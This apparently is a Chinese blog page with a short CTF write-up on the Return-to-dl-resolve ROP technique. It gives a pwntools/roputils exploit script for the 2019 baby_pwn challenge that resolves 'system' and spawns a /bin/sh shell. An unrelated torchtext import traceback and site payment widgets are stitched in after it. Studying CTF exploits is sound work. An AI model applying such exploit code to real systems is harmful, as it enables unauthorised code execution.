Return-to-dl-resolve

本文详细介绍了Return-to-dl-resolve这一高级ROP技术在CTF比赛中的具体实现。通过实例演示了如何利用该技术进行攻击,包括使用ROP库构造payload,调用dl_resolve进行动态链接解析,最终实现对目标系统的控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Return-to-dl-resolve是CTF中的高级rop技巧

 

 

2019国赛线上 baby_pwn

exp
 

import sys
import roputils
from pwn import *

context.log_level = 'debug'
#r = process("./pwn")
p = process("./babypwn")

rop = roputils.ROP('./babypwn')
addr_bss = rop.section('.bss')

offset = 0x2c
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p.send(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.send(buf)
p.interactive()

 

 

--------------------------------------------------------------------------- OSError Traceback (most recent call last) Cell In[56], line 1 ----> 1 import torchtext 2 print(torchtext.__version__) File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\torchtext\__init__.py:18 15 _WARN = False 17 # the following import has to happen first in order to load the torchtext C++ library ---> 18 from torchtext import _extension # noqa: F401 20 _TEXT_BUCKET = "https://download.pytorch.org/models/text/" 22 _CACHE_DIR = os.path.expanduser(os.path.join(_get_torch_home(), "text")) File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\torchtext\_extension.py:64 59 # This import is for initializing the methods registered via PyBind11 60 # This has to happen after the base library is loaded 61 from torchtext import _torchtext # noqa ---> 64 _init_extension() File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\torchtext\_extension.py:58, in _init_extension() 55 if not _mod_utils.is_module_available("torchtext._torchtext"): 56 raise ImportError("torchtext C++ Extension is not found.") ---> 58 _load_lib("libtorchtext") 59 # This import is for initializing the methods registered via PyBind11 60 # This has to happen after the base library is loaded 61 from torchtext import _torchtext File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\torchtext\_extension.py:50, in _load_lib(lib) 48 if not path.exists(): 49 return False ---> 50 torch.ops.load_library(path) 51 return True File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\torch\_ops.py:1392, in _Ops.load_library(self, path) 1387 path = _utils_internal.resolve_library_path(path) 1388 with dl_open_guard(): 1389 # Import the shared library into the process, thus running its 1390 # static (global) initialization code in order to register custom 1391 # operators with the JIT. -> 1392 ctypes.CDLL(path) 1393 self.loaded_libraries.add(path) File c:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\ctypes\__init__.py:374, in CDLL.__init__(self, name, mode, handle, use_errno, use_last_error, winmode) 371 self._FuncPtr = _FuncPtr 373 if handle is None: --> 374 self._handle = _dlopen(self._name, mode) 375 else: 376 self._handle = handle 已经安装了torchtext 但是导入时报错:Error: [WinError 127] 找不到指定的程序。
最新发布
06-15
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值